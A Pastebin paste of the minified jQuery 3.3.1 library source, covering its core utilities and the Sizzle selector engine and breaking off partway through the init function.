Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */
- !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",I="\\["+M+"*("+R+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+R+"))|)"+M+"*\\]",W=":("+R+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+I+")*)|.*)\\)|)",$=new RegExp(M+"+","g"),B=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),F=new RegExp("^"+M+"*,"+M+"*"),_=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),z=new RegExp("="+M+"*([^\\]'\"]*?)"+M+"*\\]","g"),X=new RegExp(W),U=new RegExp("^"+R+"$"),V={ID:new RegExp("^#("+R+")"),CLASS:new RegExp("^\\.("+R+")"),TAG:new RegExp("^("+R+"|[*])"),ATTR:new RegExp("^"+I),PSEUDO:new RegExp("^"+W),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+P+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},G=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Q=/^[^{]+\{\s*\[native \w/,J=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,K=/[+~]/,Z=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),ee=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},te=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ne=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},re=function(){p()},ie=me(function(e){return!0===e.disabled&&("form"in e||"label"in e)},{dir:"parentNode",next:"legend"});try{L.apply(A=H.call(w.childNodes),w.childNodes),A[w.childNodes.length].nodeType}catch(e){L={apply:A.length?function(e,t){q.apply(e,H.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function oe(e,t,r,i){var o,s,l,c,f,h,v,m=t&&t.ownerDocument,T=t?t.nodeType:9;if(r=r||[],"string"!=typeof e||!e||1!==T&&9!==T&&11!==T)return r;if(!i&&((t?t.ownerDocument||t:w)!==d&&p(t),t=t||d,g)){if(11!==T&&(f=J.exec(e)))if(o=f[1]){if(9===T){if(!(l=t.getElementById(o)))return r;if(l.id===o)return r.push(l),r}else if(m&&(l=m.getElementById(o))&&x(t,l)&&l.id===o)return r.push(l),r}else{if(f[2])return L.apply(r,t.getElementsByTagName(e)),r;if((o=f[3])&&n.getElementsByClassName&&t.getElementsByClassName)return L.apply(r,t.getElementsByClassName(o)),r}if(n.qsa&&!S[e+" "]&&(!y||!y.test(e))){if(1!==T)m=t,v=e;else if("object"!==t.nodeName.toLowerCase()){(c=t.getAttribute("id"))?c=c.replace(te,ne):t.setAttribute("id",c=b),s=(h=a(e)).length;while(s--)h[s]="#"+c+" "+ve(h[s]);v=h.join(","),m=K.test(e)&&ge(t.parentNode)||t}if(v)try{return L.apply(r,m.querySelectorAll(v)),r}catch(e){}finally{c===b&&t.removeAttribute("id")}}}return u(e.replace(B,"$1"),t,r,i)}function ae(){var e=[];function t(n,i){return e.push(n+" ")>r.cacheLength&&delete t[e.shift()],t[n+" "]=i}return t}function se(e){return e[b]=!0,e}function ue(e){var t=d.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function le(e,t){var n=e.split("|"),i=n.length;while(i--)r.attrHandle[n[i]]=t}function ce(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function fe(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function pe(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function de(e){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&ie(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function he(e){return se(function(t){return t=+t,se(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function ge(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}n=oe.support={},o=oe.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},p=oe.setDocument=function(e){var t,i,a=e?e.ownerDocument||e:w;return a!==d&&9===a.nodeType&&a.documentElement?(d=a,h=d.documentElement,g=!o(d),w!==d&&(i=d.defaultView)&&i.top!==i&&(i.addEventListener?i.addEventListener("unload",re,!1):i.attachEvent&&i.attachEvent("onunload",re)),n.attributes=ue(function(e){return e.className="i",!e.getAttribute("className")}),n.getElementsByTagName=ue(function(e){return e.appendChild(d.createComment("")),!e.getElementsByTagName("*").length}),n.getElementsByClassName=Q.test(d.getElementsByClassName),n.getById=ue(function(e){return h.appendChild(e).id=b,!d.getElementsByName||!d.getElementsByName(b).length}),n.getById?(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){return e.getAttribute("id")===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n=t.getElementById(e);return n?[n]:[]}}):(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),r.find.TAG=n.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):n.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},r.find.CLASS=n.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&g)return t.getElementsByClassName(e)},v=[],y=[],(n.qsa=Q.test(d.querySelectorAll))&&(ue(function(e){h.appendChild(e).innerHTML="<a id='"+b+"'></a><select id='"+b+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&y.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||y.push("\\["+M+"*(?:value|"+P+")"),e.querySelectorAll("[id~="+b+"-]").length||y.push("~="),e.querySelectorAll(":checked").length||y.push(":checked"),e.querySelectorAll("a#"+b+"+*").length||y.push(".#.+[+~]")}),ue(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=d.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),h.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&y.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),y.push(",.*:")})),(n.matchesSelector=Q.test(m=h.matches||h.webkitMatchesSelector||h.mozMatchesSelector||h.oMatchesSelector||h.msMatchesSelector))&&ue(function(e){n.disconnectedMatch=m.call(e,"*"),m.call(e,"[s!='']:x"),v.push("!=",W)}),y=y.length&&new RegExp(y.join("|")),v=v.length&&new RegExp(v.join("|")),t=Q.test(h.compareDocumentPosition),x=t||Q.test(h.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return f=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r||(1&(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!n.sortDetached&&t.compareDocumentPosition(e)===r?e===d||e.ownerDocument===w&&x(w,e)?-1:t===d||t.ownerDocument===w&&x(w,t)?1:c?O(c,e)-O(c,t):0:4&r?-1:1)}:function(e,t){if(e===t)return f=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e===d?-1:t===d?1:i?-1:o?1:c?O(c,e)-O(c,t):0;if(i===o)return ce(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?ce(a[r],s[r]):a[r]===w?-1:s[r]===w?1:0},d):d},oe.matches=function(e,t){return oe(e,null,null,t)},oe.matchesSelector=function(e,t){if((e.ownerDocument||e)!==d&&p(e),t=t.replace(z,"='$1']"),n.matchesSelector&&g&&!S[t+" "]&&(!v||!v.test(t))&&(!y||!y.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){}return oe(t,d,null,[e]).length>0},oe.contains=function(e,t){return(e.ownerDocument||e)!==d&&p(e),x(e,t)},oe.attr=function(e,t){(e.ownerDocument||e)!==d&&p(e);var i=r.attrHandle[t.toLowerCase()],o=i&&N.call(r.attrHandle,t.toLowerCase())?i(e,t,!g):void 0;return void 0!==o?o:n.attributes||!g?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null},oe.escape=function(e){return(e+"").replace(te,ne)},oe.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},oe.uniqueSort=function(e){var t,r=[],i=0,o=0;if(f=!n.detectDuplicates,c=!n.sortStable&&e.slice(0),e.sort(D),f){while(t=e[o++])t===e[o]&&(i=r.push(o));while(i--)e.splice(r[i],1)}return c=null,e},i=oe.getText=function(e){var t,n="",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===o||4===o)return e.nodeValue}else while(t=e[r++])n+=i(t);return n},(r=oe.selectors={cacheLength:50,createPseudo:se,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Z,ee),e[3]=(e[3]||e[4]||e[5]||"").replace(Z,ee),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||oe.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&oe.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return V.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=a(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Z,ee).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=E[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&E(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=oe.attr(r,e);return null==i?"!="===t:!t||(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i.replace($," ")+" ").indexOf(n)>-1:"|="===t&&(i===n||i.slice(0,n.length+1)===n+"-"))}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,f,p,d,h,g=o!==a?"nextSibling":"previousSibling",y=t.parentNode,v=s&&t.nodeName.toLowerCase(),m=!u&&!s,x=!1;if(y){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===v:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?y.firstChild:y.lastChild],a&&m){x=(d=(l=(c=(f=(p=y)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1])&&l[2],p=d&&y.childNodes[d];while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if(1===p.nodeType&&++x&&p===t){c[e]=[T,d,x];break}}else if(m&&(x=d=(l=(c=(f=(p=t)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1]),!1===x)while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if((s?p.nodeName.toLowerCase()===v:1===p.nodeType)&&++x&&(m&&((c=(f=p[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]=[T,x]),p===t))break;return(x-=i)===r||x%r==0&&x/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]||r.setFilters[e.toLowerCase()]||oe.error("unsupported pseudo: "+e);return i[b]?i(t):i.length>1?(n=[e,e,"",t],r.setFilters.hasOwnProperty(e.toLowerCase())?se(function(e,n){var r,o=i(e,t),a=o.length;while(a--)e[r=O(e,o[a])]=!(n[r]=o[a])}):function(e){return i(e,0,n)}):i}},pseudos:{not:se(function(e){var t=[],n=[],r=s(e.replace(B,"$1"));return r[b]?se(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}}),has:se(function(e){return function(t){return oe(e,t).length>0}}),contains:se(function(e){return e=e.replace(Z,ee),function(t){return(t.textContent||t.innerText||i(t)).indexOf(e)>-1}}),lang:se(function(e){return U.test(e||"")||oe.error("unsupported lang: "+e),e=e.replace(Z,ee).toLowerCase(),function(t){var n;do{if(n=g?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(n=n.toLowerCase())===e||0===n.indexOf(e+"-")}while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===h},focus:function(e){return e===d.activeElement&&(!d.hasFocus||d.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:de(!1),disabled:de(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!r.pseudos.empty(e)},header:function(e){return Y.test(e.nodeName)},input:function(e){return G.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:he(function(){return[0]}),last:he(function(e,t){return[t-1]}),eq:he(function(e,t,n){return[n<0?n+t:n]}),even:he(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:he(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:he(function(e,t,n){for(var r=n<0?n+t:n;--r>=0;)e.push(r);return e}),gt:he(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=r.pseudos.eq;for(t in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})r.pseudos[t]=fe(t);for(t in{submit:!0,reset:!0})r.pseudos[t]=pe(t);function ye(){}ye.prototype=r.filters=r.pseudos,r.setFilters=new ye,a=oe.tokenize=function(e,t){var n,i,o,a,s,u,l,c=k[e+" "];if(c)return t?0:c.slice(0);s=e,u=[],l=r.preFilter;while(s){n&&!(i=F.exec(s))||(i&&(s=s.slice(i[0].length)||s),u.push(o=[])),n=!1,(i=_.exec(s))&&(n=i.shift(),o.push({value:n,type:i[0].replace(B," ")}),s=s.slice(n.length));for(a in r.filter)!(i=V[a].exec(s))||l[a]&&!(i=l[a](i))||(n=i.shift(),o.push({value:n,type:a,matches:i}),s=s.slice(n.length));if(!n)break}return t?s.length:s?oe.error(e):k(e,u).slice(0)};function ve(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function me(e,t,n){var r=t.dir,i=t.next,o=i||r,a=n&&"parentNode"===o,s=C++;return t.first?function(t,n,i){while(t=t[r])if(1===t.nodeType||a)return e(t,n,i);return!1}:function(t,n,u){var l,c,f,p=[T,s];if(u){while(t=t[r])if((1===t.nodeType||a)&&e(t,n,u))return!0}else while(t=t[r])if(1===t.nodeType||a)if(f=t[b]||(t[b]={}),c=f[t.uniqueID]||(f[t.uniqueID]={}),i&&i===t.nodeName.toLowerCase())t=t[r]||t;else{if((l=c[o])&&l[0]===T&&l[1]===s)return p[2]=l[2];if(c[o]=p,p[2]=e(t,n,u))return!0}return!1}}function xe(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function be(e,t,n){for(var r=0,i=t.length;r<i;r++)oe(e,t[r],n);return n}function we(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function Te(e,t,n,r,i,o){return r&&!r[b]&&(r=Te(r)),i&&!i[b]&&(i=Te(i,o)),se(function(o,a,s,u){var l,c,f,p=[],d=[],h=a.length,g=o||be(t||"*",s.nodeType?[s]:s,[]),y=!e||!o&&t?g:we(g,p,e,s,u),v=n?i||(o?e:h||r)?[]:a:y;if(n&&n(y,v,s,u),r){l=we(v,d),r(l,[],s,u),c=l.length;while(c--)(f=l[c])&&(v[d[c]]=!(y[d[c]]=f))}if(o){if(i||e){if(i){l=[],c=v.length;while(c--)(f=v[c])&&l.push(y[c]=f);i(null,v=[],l,u)}c=v.length;while(c--)(f=v[c])&&(l=i?O(o,f):p[c])>-1&&(o[l]=!(a[l]=f))}}else v=we(v===a?v.splice(h,v.length):v),i?i(null,a,v,u):L.apply(a,v)})}function Ce(e){for(var t,n,i,o=e.length,a=r.relative[e[0].type],s=a||r.relative[" "],u=a?1:0,c=me(function(e){return e===t},s,!0),f=me(function(e){return O(t,e)>-1},s,!0),p=[function(e,n,r){var i=!a&&(r||n!==l)||((t=n).nodeType?c(e,n,r):f(e,n,r));return t=null,i}];u<o;u++)if(n=r.relative[e[u].type])p=[me(xe(p),n)];else{if((n=r.filter[e[u].type].apply(null,e[u].matches))[b]){for(i=++u;i<o;i++)if(r.relative[e[i].type])break;return Te(u>1&&xe(p),u>1&&ve(e.slice(0,u-1).concat({value:" "===e[u-2].type?"*":""})).replace(B,"$1"),n,u<i&&Ce(e.slice(u,i)),i<o&&Ce(e=e.slice(i)),i<o&&ve(e))}p.push(n)}return xe(p)}function Ee(e,t){var n=t.length>0,i=e.length>0,o=function(o,a,s,u,c){var f,h,y,v=0,m="0",x=o&&[],b=[],w=l,C=o||i&&r.find.TAG("*",c),E=T+=null==w?1:Math.random()||.1,k=C.length;for(c&&(l=a===d||a||c);m!==k&&null!=(f=C[m]);m++){if(i&&f){h=0,a||f.ownerDocument===d||(p(f),s=!g);while(y=e[h++])if(y(f,a||d,s)){u.push(f);break}c&&(T=E)}n&&((f=!y&&f)&&v--,o&&x.push(f))}if(v+=m,n&&m!==v){h=0;while(y=t[h++])y(x,b,a,s);if(o){if(v>0)while(m--)x[m]||b[m]||(b[m]=j.call(u));b=we(b)}L.apply(u,b),c&&!o&&b.length>0&&v+t.length>1&&oe.uniqueSort(u)}return c&&(T=E,l=w),x};return n?se(o):o}return s=oe.compile=function(e,t){var n,r=[],i=[],o=S[e+" "];if(!o){t||(t=a(e)),n=t.length;while(n--)(o=Ce(t[n]))[b]?r.push(o):i.push(o);(o=S(e,Ee(i,r))).selector=e}return o},u=oe.select=function(e,t,n,i){var o,u,l,c,f,p="function"==typeof e&&e,d=!i&&a(e=p.selector||e);if(n=n||[],1===d.length){if((u=d[0]=d[0].slice(0)).length>2&&"ID"===(l=u[0]).type&&9===t.nodeType&&g&&r.relative[u[1].type]){if(!(t=(r.find.ID(l.matches[0].replace(Z,ee),t)||[])[0]))return n;p&&(t=t.parentNode),e=e.slice(u.shift().value.length)}o=V.needsContext.test(e)?0:u.length;while(o--){if(l=u[o],r.relative[c=l.type])break;if((f=r.find[c])&&(i=f(l.matches[0].replace(Z,ee),K.test(u[0].type)&&ge(t.parentNode)||t))){if(u.splice(o,1),!(e=i.length&&ve(u)))return L.apply(n,i),n;break}}}return(p||s(e,d))(i,t,!g,n,!t||K.test(e)&&ge(t.parentNode)||t),n},n.sortStable=b.split("").sort(D).join("")===b,n.detectDuplicates=!!f,p(),n.sortDetached=ue(function(e){return 1&e.compareDocumentPosition(d.createElement("fieldset"))}),ue(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||le("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),n.attributes&&ue(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||le("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ue(function(e){return null==e.getAttribute("disabled")})||le(P,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),oe}(e);w.find=E,w.expr=E.selectors,w.expr[":"]=w.expr.pseudos,w.uniqueSort=w.unique=E.uniqueSort,w.text=E.getText,w.isXMLDoc=E.isXML,w.contains=E.contains,w.escapeSelector=E.escape;var k=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&w(e).is(n))break;r.push(e)}return r},S=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},D=w.expr.match.needsContext;function N(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var A=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,t,n){return g(t)?w.grep(e,function(e,r){return!!t.call(e,r,e)!==n}):t.nodeType?w.grep(e,function(e){return e===t!==n}):"string"!=typeof t?w.grep(e,function(e){return u.call(t,e)>-1!==n}):w.filter(t,e,n)}w.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?w.find.matchesSelector(r,e)?[r]:[]:w.find.matches(e,w.grep(t,function(e){return 1===e.nodeType}))},w.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(w(e).filter(function(){for(t=0;t<r;t++)if(w.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)w.find(e,i[t],n);return r>1?w.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&D.test(e)?w(e):e||[],!1).length}});var q,L=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(w.fn.init=function(e,t,n){var i,o;if(!e)return this;if(n=n||q,"string"==typeof e){if(!(i="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:L.exec(e))||!i[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(i[1]){if(t=t instanceof w?t[0]:t,w.merge(this,w.parseHTML(i[1],t&&t.nodeType?t.ownerDocument||t:r,!0)),A.test(i[1])&&w.isPlainObject(t))for(i in t)g(this[i])?this[i](t[i]):this.attr(i,t[i]);return this}return(o=r.getElementById(i[2]))&&(this[0]=o,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):g(e)?void 0!==n.ready?n.ready(e):e(w):w.makeArray(e,this)}).prototype=w.fn,q=w(r);var 